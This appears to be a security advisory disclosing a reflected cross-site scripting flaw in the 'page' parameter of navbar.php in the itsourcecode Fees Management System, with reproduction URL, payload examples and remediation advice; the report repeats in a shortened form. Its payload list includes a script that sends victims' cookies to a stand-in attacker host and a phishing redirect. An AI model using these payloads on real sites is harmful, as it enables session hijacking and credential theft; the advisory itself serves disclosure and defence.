itsourcecode Fees Management System XSS Vulnerability Report
PRODUCT
Fees Management System
VERSION
V1.0
VULNERABILITY TYPE
Cross-Site Scripting (XSS)
Submitter
AFFECTED COMPONENT
/navbar.php
VENDOR URL
https://itsourcecode.com/free-projects/php-project/fees-management-system-project-in-php-with-source-code/
VULNERABILITY DETAILS
Reflected XSS via 'page' parameter in navbar.php
DESCRIPTION
A critical Cross-Site Scripting vulnerability was identified in the Fees Management System's administration panel. The vulnerability exists in the navbar.php component where user-supplied input through the 'page' URL parameter is directly reflected in the page output without proper sanitization. This allows attackers to inject arbitrary JavaScript code that executes within the context of the victim's browser session. The vulnerability requires no authentication and can be exploited simply by tricking a user into visiting a maliciously crafted URL.
ROOT CAUSE
Unsanitized user input in URL parameter directly reflected in page output
IMPACT
- Session hijacking
- Unauthorized actions
- Data theft
- Malware distribution
REPRODUCTION STEPS
- Visit URL:
http://[target]/navbar.php?page=%27)</script><script>alert(0)</script>(%27</script><script>alert(0)</script>(%27)
- Observe JavaScript execution
PAYLOAD EXAMPLES
- Basic: <script>alert(document.domain)</script>
- Cookie theft: <script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
- Redirect: <script>window.location='http://phishing.site'</script>
REMEDIATION
-
Input validation:
- Reject special characters
- Use allow-list approach
-
Output encoding:
- htmlspecialchars()
- htmlentities()
-
Security headers:
- Content-Security-Policy
- X-XSS-Protection
itsourcecode Fees Management System XSS Vulnerability Report
PRODUCT
Fees Management System
VERSION
V1.0
VULNERABILITY TYPE
Cross-Site Scripting (XSS)
Submitter
AFFECTED COMPONENT
/navbar.php
VENDOR URL
https://itsourcecode.com/free-projects/php-project/fees-management-system-project-in-php-with-source-code/
VULNERABILITY DETAILS
Reflected XSS via 'page' parameter in navbar.php
DESCRIPTION
A critical Cross-Site Scripting vulnerability was identified in the Fees Management System's administration panel. The vulnerability exists in the navbar.php component where user-supplied input through the 'page' URL parameter is directly reflected in the page output without proper sanitization. This allows attackers to inject arbitrary JavaScript code that executes within the context of the victim's browser session. The vulnerability requires no authentication and can be exploited simply by tricking a user into visiting a maliciously crafted URL.
ROOT CAUSE
Unsanitized user input in URL parameter directly reflected in page output
IMPACT
REPRODUCTION STEPS
http://[target]/navbar.php?page=%27)</script><script>alert(0)</script>(%27</script><script>alert(0)</script>(%27)
PAYLOAD EXAMPLES
REMEDIATION
Input validation:
Output encoding:
Security headers: